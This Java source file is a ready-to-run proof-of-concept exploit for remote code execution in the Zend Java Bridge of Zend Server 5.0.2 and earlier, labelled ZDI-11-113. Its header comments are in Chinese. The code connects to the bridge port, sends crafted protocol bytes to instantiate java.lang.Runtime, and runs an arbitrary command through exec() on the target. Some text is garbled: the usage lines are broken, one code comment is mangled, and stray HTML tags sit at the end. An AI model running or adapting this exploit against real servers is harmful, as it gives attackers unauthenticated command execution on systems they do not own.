001 /*
002 * Zend Java Bridge v3.1 - 远程代码执行 (ZDI-11-113)
003 * Copyright (c) 2010 Luca Carettoni
004 *
005 * ZJB.java v0.2 - 4 August 2010
006 *
007 * [使用方法]
008 * java -jar zjb.jar <IP>
009 <PORT> '' (Default: 10001/tcp)
010 *
011 * [受影响版本]
012 * Zend Server v5.0.2, Zend Server Community Edition v5.0.2 以及之前的版本
013 * http://www.zend.com/en/products/server/
014 *
015 * 所有平台版本均受影响(Windows, Linux, Mac OS X 以及 IBM i)
016 * 例如, 在Windows下选择 "完全安装"
017 * 通过管理员控制台禁用Zend Java Bridge不能解决该问题
018 *
019 * Exploit在一下环境中测试成功:
020 * - MS Windows Server 2003, Zend Server 5.0.2 default "FULL" installation
021 * - Ubuntu 8.10, Zend Server 5.0.2 default installation + "php-5.3-java-bridge-zend-server" installation
022 * - Ubuntu 8.10, Zend Server 5.0.0 default installation
023 *
024 */
025
026 package ZJBpoc;
027
028 import java.io.DataInputStream;
029 import java.io.DataOutputStream;
030 import java.io.IOException;
031 import java.net.Socket;
032
033 public class ZJB {
034
035 private String ip;
036 private String port;
037 private String cmd;
038 private Socket socket;
039
040 public ZJB(String ip, String port, String cmd) {
041 this.ip = ip;
042 this.port = port;
043 this.cmd = cmd;
044
045 try {
046 System.out.println("[*] Connecting to " + this.ip + ":" + this.port);
047 this.socket = new Socket(this.ip, Integer.parseInt(this.port));
048 } catch (Exception e) {
049 System.out.println("[!] Connection error\n");
050 System.exit(-1);
051 }
052 }
053
054 public boolean run() {
055
056 System.out.println("[*] Creating the Java Object \"java.lang.Runtime\"");
057 byte[] createObj = new byte[]{
058 //$runtime = new Java("java.lang.Runtime");
059 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x33, (byte) 0x00,
060 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
061 (byte) 0x00, (byte) 0x0c, (byte) 0x43, (byte) 0x72, (byte) 0x65,
062 (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x4f, (byte) 0x62,
063 (byte) 0x6a, (byte) 0x65, (byte) 0x63, (byte) 0x74, (byte) 0x00,
064 (byte) 0x00, (byte) 0x00, (byte) 0x02, (byte) 0x04, (byte) 0x00,
065 (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0x6a, (byte) 0x61,
066 (byte) 0x76, (byte) 0x61, (byte) 0x2e, (byte) 0x6c, (byte) 0x61,
067 (byte) 0x6e, (byte) 0x67, (byte) 0x2e, (byte) 0x52, (byte) 0x75,
068 (byte) 0x6e, (byte) 0x74, (byte) 0x69, (byte) 0x6d, (byte) 0x65,
069 (byte) 0x07, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,};
070
071 byte[] idObj = new byte[4];
072 System.arraycopy(sendData(createObj), 5, idObj, 0, 4);
073 System.out.println(" [-] Class ID: 0x" + getHex(idObj));
074
075 System.out.println("[*] Invoking static method \"getRuntime()\"");
076 byte[] getRuntime = new byte[]{
077 //$getRuntime = $runtime->getRuntime();
078 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x16,
079 idObj[0], idObj[1], idObj[2], idObj[3], //Object ID
080 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0a, (byte) 0x67,
081 (byte) 0x65, (byte) 0x74, (byte) 0x52, (byte) 0x75, (byte) 0x6e,
082 (byte) 0x74, (byte) 0x69, (byte) 0x6d, (byte) 0x65, (byte) 0x00,
083 (byte) 0x00, (byte) 0x00, (byte) 0x00
084 };
085
086 byte[] idMet = new byte[4];
087 System.arraycopy(sendData(getRuntime), 5, idMet, 0, 4);
088 System.out.println(" [-] Method ID: 0x" + getHex(idMet));
089
090 System.out.println("[*] Invoking method \"exec()\" with parameter \"" + this.cmd + "\"");
091 byte[] exec = new byte[]{
092 //$getRuntime->exec("">");
093 idMet[0], idMet[1], idMet[2], idMet[3], //Method ID
094 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x04, (byte) 0x65,
095 (byte) 0x78, (byte) 0x65, (byte) 0x63, (byte) 0x00, (byte) 0x00,
096 (byte) 0x00, (byte) 0x01, (byte) 0x04,};
097
098 byte[] cmd = this.cmd.getBytes();
099 byte[] cmdSize = intToByteArray(cmd.length);
100 byte[] payloadSize = intToByteArray(cmd.length + 21);
101 System.out.println(" [-] Payload size: 0x" + getHex(payloadSize));
102 System.out.println(" [-] Command size: 0x" + getHex(cmdSize));
103
104 //payload = payloadSize + (methodId + staticStr) + cmdSize + cmd
105 byte[] payload = new byte[4 + exec.length + 4 + cmd.length];
106 System.arraycopy(payloadSize, 0, payload, 0, 4);
107 System.arraycopy(exec, 0, payload, 4, exec.length);
108 System.arraycopy(cmdSize, 0, payload, exec.length + 4, 4);
109 System.arraycopy(cmd, 0, payload, 4 + exec.length + 4, cmd.length);
110 System.out.println(" [-] Payload: 0x" + getHex(payload));
111
112 byte[] execReply = sendData(payload);
113
114 System.out.println("[*] Cleaning up the JVM");
115 byte[] reset = new byte[]{
116 //Reset
117 (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0xff,
118 (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x00, (byte) 0x00,
119 (byte) 0x00, (byte) 0x05, (byte) 0x72, (byte) 0x65, (byte) 0x73,
120 (byte) 0x65, (byte) 0x74, (byte) 0x00, (byte) 0x00, (byte) 0x00,
121 (byte) 0x00
122 };
123 sendData(reset);
124
125 //Check the response type of the exec invocation
126 if (execReply[3] == (byte) 0x05 && execReply[4] == (byte) 0x05) {
127 return true;
128 } else {
129 return false;
130 }
131 }
132
133 private static String getHex(byte[] raw) {
134 final String HEXES = "0123456789ABCDEF";
135 if (raw == null) {
136 return null;
137 }
138 final StringBuilder hex = new StringBuilder(2 * raw.length);
139 for (final byte b : raw) {
140 hex.append(HEXES.charAt((b & 0xF0) >> 4)).append(HEXES.charAt((b & 0x0F)));
141 }
142 return hex.toString();
143 }
144
145 private static byte[] intToByteArray(int value) {
146 byte[] b = new byte[4];
147 for (int i = 0; i < 4; i++) {
148 int offset = (b.length - 1 - i) * 8;
149 b[i] = (byte) ((value >>> offset) & 0xFF);
150 }
151 return b;
152 }
153
154 private byte[] sendData(byte[] data) {
155
156 byte[] reply = new byte[9];
157
158 try {
159 DataOutputStream os = new DataOutputStream(this.socket.getOutputStream());
160 DataInputStream is = new DataInputStream(this.socket.getInputStream());
161 os.write(data);
162 os.flush();
163 is.read(reply);
164 } catch (IOException ex) {
165 System.out.println("[!] Socket error...\n" + ex.getMessage());
166 }
167 return reply;
168 }
169
170 public static void main(String[] args) throws IOException {
171
172 System.out.println("\n--[ Zend Java Bridge - Remote Code Execution ]");
173 System.out.println("--[ Copyright (c) 2010 Luca Carettoni ]\n");
174
175 if (args.length != 3) {
176
177 System.out.println("[!] Usage: java -jar zjb.jar
178 \'\' (Default: 10001/tcp)\n");
179 System.exit(0);
180
181 } else {
182
183 ZJB exploit = new ZJB(args[0], args[1], args[2]);
184
185 if (exploit.run()) {
186 System.out.println("[*] Write once, exploit anywhere!\n");
187 } else {
188 System.out.println("[!] An error occurred during the execution...\n");
189 }
190 exploit.socket.close();
191
192 }
193 }
194 }
195 </CMD></PORT></IP></SYSTEM></CMD></PORT></IP>
|